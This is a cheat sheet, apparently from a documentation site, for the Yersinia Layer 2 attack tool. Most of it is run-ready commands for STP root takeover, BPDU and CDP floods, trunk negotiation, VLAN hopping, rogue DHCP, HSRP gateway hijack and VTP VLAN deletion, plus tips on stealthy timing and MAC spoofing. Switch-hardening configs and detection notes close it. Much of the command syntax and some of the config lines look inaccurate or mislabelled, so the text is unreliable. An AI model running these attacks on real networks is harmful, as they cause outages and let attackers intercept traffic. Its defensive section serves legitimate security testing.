콘텐츠로 이동

Yersinia

Yersinia is a comprehensive Layer 2 (Data Link Layer) attack framework designed to test and exploit vulnerabilities in network protocols used by switch infrastructure. It supports attacks against Spanning Tree Protocol (STP), Cisco Discovery Protocol (CDP), Dynamic Trunking Protocol (DTP), DHCP, Hot Standby Router Protocol (HSRP), VLAN Trunking Protocol (VTP), ISL, 802.1Q, and 802.1X. Yersinia is essential for penetration testers assessing switch security and network segmentation.

sudo apt-get update
sudo apt-get install yersinia
sudo dnf install yersinia
git clone https://github.com/tomac/yersinia.git
cd yersinia
./configure
make
sudo make install
yersinia -v
sudo yersinia -G

Launches interactive graphical interface for protocol selection, attack configuration, and real-time monitoring. Recommended for learning and network visualization.

sudo yersinia -I

Interactive text-based menu system with protocol navigation and attack options.

sudo yersinia -P <protocol> -M <mode> [options]

Command-line execution of specific attacks without interactive menus.

STP prevents bridging loops by establishing a tree topology. Yersinia attacks target the algorithm to manipulate topology or cause denial of service.

sudo yersinia -P stp -M 1 -i eth0

Claim root bridge status by sending BPDU (Bridge Protocol Data Unit) frames with lower bridge priority (0x0000). Target device becomes root, redirecting traffic flow.

OptionDescription
-M 1Root bridge attack mode
-i eth0Target interface
-p 0Bridge priority (0 = highest)
sudo yersinia -P stp -M 2 -i eth0

Flood network with TCN (Topology Change Notification) BPDUs to force MAC address table flushing and cause network instability.

OptionDescription
-M 2Topology change attack
-d Destination MAC address
-s Source MAC address
sudo yersinia -P stp -M 3 -i eth0 -c 100

Transmit high volume of malformed BPDU frames to overwhelm spanning tree processing.

OptionDescription
-M 3BPDU flood mode
-c 100Number of packets to send
-w Milliseconds between frames
sudo yersinia -P cdp -M 1 -i eth0 -c 1000

Send crafted CDP frames to exhaust switch resources and potentially crash switch processor.

OptionDescription
-M 1CDP flood mode
-c 1000Number of CDP packets
-i eth0Source interface
sudo yersinia -P cdp -M 2 -i eth0

Spoof CDP devices to inject false topology information. Advertise fake device capabilities and network relationships.

OptionDescription
-M 2Spoof mode
-n “device-name”Spoofed device name
-l “1.2.3.4”Fake IP address
sudo yersinia -P cdp -M 3 -i eth0 -d 01:00:0c:cc:cc:cc

Impersonate a Cisco device to gain trust or bypass CDP-based filtering.

sudo yersinia -P dtp -M 1 -i eth0 -c 50

Exploit DTP to negotiate trunk formation with switch port, enabling access to all VLANs.

OptionDescription
-M 1DTP flood/trunk mode
-c 50Number of DTP frames
-v Target VLAN ID
sudo yersinia -P dtp -M 2 -i eth0

Send DTP desirable packets to force switch to trunk mode and expose all VLAN traffic.

OptionDescription
-M 2Spoof negotiation
-p trunkPort type (access/trunk)
sudo yersinia -P 802.1q -M 1 -i eth0

Add nested VLAN tags to bypass VLAN restrictions:

  • Outer tag: Access port VLAN (allowed)
  • Inner tag: Target VLAN (hidden from first switch)
OptionDescription
-M 1Double tagging attack
-v 1Outer VLAN
-t 100Inner VLAN (target)
sudo yersinia -P 802.1x -M 1 -i eth0

Exploit 802.1X (port-based network access control) to gain network access without authentication.

OptionDescription
-M 1Bypass attack
-d Target MAC address
sudo yersinia -P dhcp -M 1 -i eth0 -c 1000

Exhaust DHCP pool by requesting massive numbers of IP addresses with spoofed MACs.

OptionDescription
-M 1DHCP starvation
-c 1000Number of DHCP requests
-xSpoof MAC addresses
sudo yersinia -P dhcp -M 2 -i eth0 -a 192.168.1.250

Become authoritative DHCP server, assigning IPs pointing to attacker-controlled gateway.

OptionDescription
-M 2DHCP server mode
-a 192.168.1.250Fake gateway IP
-s IP pool to assign
sudo yersinia -P dhcp -M 3 -i eth0 -t <target-mac>

Send DHCP release packets to force targets offline and trigger re-initialization.

OptionDescription
-M 3Release attack
-t Target MAC address

HSRP (Hot Standby Router Protocol) Attacks

섹션 제목: “HSRP (Hot Standby Router Protocol) Attacks”
sudo yersinia -P hsrp -M 1 -i eth0 -p 1 -g 192.168.1.1

Become active HSRP gateway by claiming higher priority. Redirect default route traffic through attacker.

OptionDescription
-M 1Takeover mode
-p 1Virtual router ID
-g 192.168.1.1Virtual IP to claim
sudo yersinia -P hsrp -M 2 -i eth0 -c 500

Flood HSRP hello packets to disrupt gateway election and cause failover instability.

OptionDescription
-M 2DoS flood mode
-c 500Packet count
-w 100Millisecond delay
sudo yersinia -P vtp -M 1 -i eth0 -d <domain-name>

Send malicious VTP advertisements to modify VLAN database on vulnerable switches. Delete or create VLANs across network.

OptionDescription
-M 1VTP spoof mode
-d domainVLAN domain name
-c 10Configuration revision
sudo yersinia -P vtp -M 2 -i eth0 -c 1000

Overwhelm switch VTP processing with high-volume crafted advertisements.

OptionDescription
-M 2Flood mode
-c 1000Packet count
sudo yersinia -P isl -M 1 -i eth0 -v 100

Send crafted ISL frames to trick switches into improper VLAN handling or trunk negotiation.

OptionDescription
-M 1ISL spoof mode
-v 100VLAN ID
sudo yersinia -P <protocol> -M <mode> -i <interface> [options]
OptionDescription
-PProtocol (stp, cdp, dtp, dhcp, hsrp, vtp, isl, 802.1q, 802.1x)
-MMode/attack type (numeric, protocol-specific)
-iNetwork interface
-cPacket count
-wWait/delay in milliseconds
-dDestination address
-sSource address
-xUse random/spoofed addresses
-vVLAN ID
-tTarget specification
sudo yersinia -P stp -M 1 -i eth0 -w 500 -c 100

Send 100 packets with 500ms delay between each for slow, stealthy attacks.

sudo yersinia -P cdp -M 1 -i eth0 -x -c 1000

Use random/spoofed MAC addresses to evade filtering and increase impact.

  1. Identify target switch and discover running protocols
  2. Use CDP/LLDP to map network topology
  3. Identify port security and access control lists
  1. Prioritize exposed protocols (STP, CDP, DHCP)
  2. Test for weak security settings (default priorities, no authentication)
  3. Assess impact potential (critical infrastructure dependency)
  1. Start with low packet counts (-c 10)
  2. Monitor network stability and switch behavior
  3. Increase intensity gradually to identify thresholds
  4. Document results in lab before production testing
  1. Check VLAN access before/after attacks
  2. Verify switch CPU and memory utilization
  3. Test failover and recovery mechanisms
  4. Assess business system disruption
# Enable BPDU guard on access ports
spanning-tree bpduguard enable

# Set root bridge priority explicitly
spanning-tree vlan 1 priority 0

# Enable port fast on access ports
spanning-tree portfast
# Disable CDP on untrusted interfaces
no cdp enable

# Limit CDP to core/trunk ports
cdp run
interface Gi0/1
  cdp enable
# Disable dynamic trunking
switchport mode access

# Set allowed VLANs explicitly
switchport access vlan 10
# Enable DHCP snooping
ip dhcp snooping
ip dhcp snooping vlan 1,10,20

# Configure trusted ports (DHCP servers only)
interface Gi0/48
  ip dhcp snooping trust

# Rate limit DHCP
ip dhcp snooping limit rate 10
# Enable port-based authentication
authentication port-control auto

# Configure authentication protocol
eap version 3
# Limit MAC addresses per port
switchport port-security
switchport port-security maximum 1

# Set violation action
switchport port-security violation shutdown
# Explicitly tag management VLAN
no cdp enabled

# Disable unused protocols
no spanning-tree vlan 4094
no ip routing
# Block Layer 2 protocol traffic from untrusted sources
access-list 101 deny eigrp any any
access-list 101 deny ospf any any
access-list 101 permit ip any any

# Apply to interfaces
interface Gi0/1
  ip access-group 101 in
# STP changes
debug spanning-tree events

# CDP activity
debug cdp packets

# DHCP activity
debug ip dhcp server packet detail

# Port security violations
logging event port-security
  • Unexpected BPDU source changes
  • Rapid topology changes (TCN floods)
  • Suspicious CDP announcements
  • DHCP request spikes
  • Port security violations
  • Unauthorized VLAN access
  • Only run Yersinia attacks on networks you own or have explicit written permission to test
  • Obtain management approval before Layer 2 testing in production
  • Document all test activities and results
  • Use isolated lab networks for training and development
  • Layer 2 attacks can cause widespread outages; test carefully
  • Ensure incident response procedures are in place
  • Train network staff on Layer 2 security vulnerabilities